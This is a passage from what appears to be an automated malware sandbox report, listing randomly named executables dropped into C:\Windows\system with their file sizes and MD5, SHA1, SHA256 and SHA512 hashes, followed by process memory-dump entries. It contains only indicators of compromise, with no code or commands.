c26a3ba3e3b0afc39992f608f291502c5b7bb185ed301c1e72eddd69e3e72ed2

SHA512
1491528436da0b6fab9d4553be296cc6bc02e61f1286d50511a7b76b73d21b7df056b7182e34d1982af4bbdd5b07e65e2895dbf4f458277cc7bc808ad8a565fe

Download Submit
C:\Windows\system\sGxuRxV.exe

Filesize
2.0MB

MD5
5ee2a58f7fdd630ab9fefb5cfc907432

SHA1
d1b8ac6b6d0ba4acfce7f0bd271f58d79851851a

SHA256
b238bc3441d90b93329599d8d4058ce715d4881ddd396e1b63fb5864dcfea736

SHA512
66703982914e4f3f02c4b33887ab9fa70bedc9a86b18a0cf04a8843785ddebff0b6a8ec23d5a13b2a29242fd7de9ca963bc5ca2ac20b90a9e984435404a6e77f

Download Submit
C:\Windows\system\tkRPZqB.exe

Filesize
2.0MB

MD5
4dd384d32d8f31fea16f2ffb24edf131

SHA1
e67dd6591990b74a5171363d58855d81c458f7be

SHA256
84fff53c06dbc8e0b9ec354c25837bc7c4080b1a64f866f3a52be636b0217779

SHA512
d27f581305457b1dbcde5e0d299af110bf43f98b742d1c2bd51ae9154bcb6dc080f56725866aa124fc5c8abbf3b41b81af0da00d1eabdf7f562f0459454323dd

Download Submit
C:\Windows\system\twsWCpA.exe

Filesize
2.0MB

MD5
0abef3b39184a1c51b8cccb9fcca3b78

SHA1
57773f132d5c76dfa28b701475b2e13c3868f27b

SHA256
9a900c749fc7f3ba6037538a79c30a9f97661b431f20f77733f6626de357305f

SHA512
d94f337144a31843b0cb95ea443b01f1424c2a98a84017837007be9c83a7061213f941b5237892e3da68c43c2bbc0defeb3ac0ab73c02010d49b2b8f5dd6a747

Download Submit
C:\Windows\system\uaSGkqM.exe

Filesize
2.0MB

MD5
c8f80a842e38c98d92ff85a6e5087376

SHA1
cc4e46fbb3fc674e9a2976da3ef4f6af451b2aea

SHA256
e67cc286caed0a51311fc87de80d51b0137a3880c04a4056fee10ea1614777d9

SHA512
b201a09a982595867cb3fc87dd15f4ef57531756b005539ac12b4e8c7614bdc0d6c9dbca40344716b1cd0957c1132adc2360c89fe2e23154472c29cd2aecc3eb

Download Submit
C:\Windows\system\wapsFvd.exe

Filesize
2.0MB

MD5
603b23810107613a8ef1e94fd58744fd

SHA1
aab506e96e96c8033ae5ff8323e3d170e3e05cfc

SHA256
e93ba4de47b0d3bcfd347a563a60a91b10ae590880bcdf8d4f836d0dbd3c110c

SHA512
3256172f4dd429ee1fea70edc676b5160c7fda7c393e3b9fc93ede2802c814449840df0b1bdff066ae2d0c1679725e12971d7f892f7f2e42d0a3c21e2f2fa8f9

Download Submit
\Windows\system\NDnHyxR.exe

Filesize
2.0MB

MD5
3b29148abbbd3d1ce9f1168d5d15d4c3

SHA1
f928a5a56e7c2442d2e998a5d804c436d59134b0

SHA256
a43ab4b4f51793ab0fc79e99865969b6996a30e65c25a12085c7a55e311e2991

SHA512
1fb6ea8003cabba375f1545fcf1b0bbe41859f41170f970f97004dc5e61eb2f6a53fbe79b96528e4bada14ae8073decf6abdb9cbc18299d40eae782a35a3d699

Download Submit
\Windows\system\YSSNxQX.exe

Filesize
2.0MB

MD5
27eca7ec2119f0200ed31c17aa1cbf54

SHA1
0ac6f26460e1cf6357a986b8e10d78b92387c009

SHA256
894ab6427a6213a45edf82af71c46fc656714d492080cabc3fc856017764fc7d

SHA512
4ef44b40f50df4e9ddd9cd911511ec7a3e30e0df2b19cd4bf0b95d0b6ea081f38b7ee4d8a837f91022adbeff0459a575c4f76617349addd3b48cfc112b31051f

Download Submit
\Windows\system\fZDvnkx.exe

Filesize
2.0MB

MD5
b5190d6a16e0495d3802eb294d8cd632

SHA1
a0a110c32f8b2beca7a777e9c9bc7a94d1cce31f

SHA256
380beefc0198a2b5adeb89458d0eea8edc680e082d328f5b6531ce2f6a1ffcff

SHA512
76db41facf389ee4223aabf1b3ba3c36a6b45986f915f3bf8db1e2cf5a0e0a13c490eb153f6a30f296c46b8dad93141e31d9f023fb199c41f500b4f461e99df5

Download Submit
memory/576-74-0x000000013FDE0000-0x00000001401D2000-memory.dmp

Filesize
3.9MB

Download
memory/576-7075-0x000000013FDE0000-0x00000001401D2000-memory.dmp

Filesize
3.9MB

Download
memory/1176-53-0x000000013F290000-0x000000013F682000-memory.dmp

Filesize
3.9MB

Download
memory/1176-5665-0x000000013F290000-0x000000013F682000-memory.dmp

Filesize
3.9MB

Download
memory/1940-80-0x000000013FC70000-0x0000000140062000-memory.dmp

Filesize
3.9MB

Download
memory/1940-6010-0x000000013FC70000-0x0000000140062000-memory.dmp

Filesize
3.9MB

Download
memory/2040-87-0x000000013F0B0000-0x000000013F4A2000-memory.dmp

Filesize
3.9MB

Download
memory/2128-5668-0x000000013F400000-0x000000013F7F2000-memory.dmp

Filesize
3.9MB

Download
memory/2128-46-0x000000013F400000-0x000000013F7F2000-memory.dmp

Filesize
3.9MB

Download
memory/2136-37-0x000000013F900000-0x000000013FCF2000-memory.dmp

Filesize
3.9MB

Download
memory/2136-1-0x000000013FF80000-0x0000000140372000-memory.dmp

Filesize
3.9MB

Download
memory/2136-11041-0x0000000003510000-0x0000000003902000-memory.dmp

Filesize
3.9MB

Download
memory/2136-79-0x0000000003510000-0x0000000003902000-memory.dmp

Filesize
3.9MB

Download
memory/2136-42-0x000000013F400000-0x000000013F7F2000-memory.dmp

Filesize
3.9MB

Download
memory/2136-73-0x0000000003510000-0x0000000003902000-memory.dmp

Filesize
3.9MB

Download
memory/2136-0-0x00000000002F0000-0x0000000000300000-memory.dmp

Filesize
64KB

Download
memory/2136-67-0x000000013F210000-0x000000013F602000-memory.dmp

Filesize
3.9MB

Download
memory/2136-15-0x000000013F770000-0x000000013FB62000-memory.dmp

Filesize
3.9MB

Download
memory/2136-66-0x000000013FF80000-0x0000000140372000-memory.dmp

Filesize
3.9MB

Download
memory/2136-52-0x000000013F290000-0x000000013F682000-memory.dmp

Filesize
3.9MB

Download
memory/2136-58-0x0000000003510000-0x0000000003902000-memory.dmp

Filesize
3.9MB

Download
memory/2136-86-0x000000013F0B0000-0x000000013F4A2000-memory.dmp

Filesize
3.9MB

Download
memory/2136-20-0x000000013FA10000-0x000000013FE02000-memory.dmp

Filesize
3.9MB

Download
memory/2136-31-0x000000013F410000-0x000000013F802000-memory.dmp

Filesize
3.9MB

Download
memory/2220-68-0x000000013F210000-0x000000013F602000-memory.dmp

Filesize
3.9MB

Download
memory/2220-6481-0x000000013F210000-0x000000013F602000-memory.dmp

Filesize
3.9MB

Download
memory/2576-5959-0x000000013F410000-0x000000013F802000-memory.dmp

Filesize
3.9MB

Download
memory/2576-85-0x000000013F410000-0x000000013F802000-memory.dmp

Filesize
3.9MB

Download
memory/2576-32-0x000000013F410000-0x000000013F802000-memory.dmp

Filesize
3.9MB

Download
memory/2684-39-0x000000013F900000-0x000000013FCF2000-memory.dmp

Filesize
3.9MB

Download
memory/2684-5663-0x000000013F900000-0x000000013FCF2000-memory.dmp

Filesize
3.9MB

Download
memory/2684-308-0x000000013F900000-0x000000013FCF2000-memory.dmp

Filesize
3.9MB

Download
memory/2688-5598-0x000000013F770000-0x000000013FB62000-memory.dmp

Filesize
3.9MB

Download
memory/2688-17-0x000000013F770000-0x000000013FB62000-memory.dmp

Filesize
3.9MB

Download
memory/2724-5597-0x000000013F490000-0x000000013F882000-memory.dmp

Filesize
3.9MB

Download
memory/2724-21-0x000000013F490000-0x000000013F882000-memory.dmp

Filesize
3.9MB

Download
memory/2864-61-0x000000013FBD0000-0x000000013FFC2000-memory.dmp

Filesize
3.9MB

Download
memory/2864-6482-0x000000013FBD0000-0x000000013FFC2000-memory.dmp

Filesize
3.9MB

Download
memory/2868-5599-0x000000013FA10000-0x000000013FE02000-memory.dmp

Filesize
3.9MB

Download
memory/2868-22-0x000000013FA10000-0x000000013FE02000-memory.dmp

Filesize
3.9MB

Download
memory/2892-54-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2892-55-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download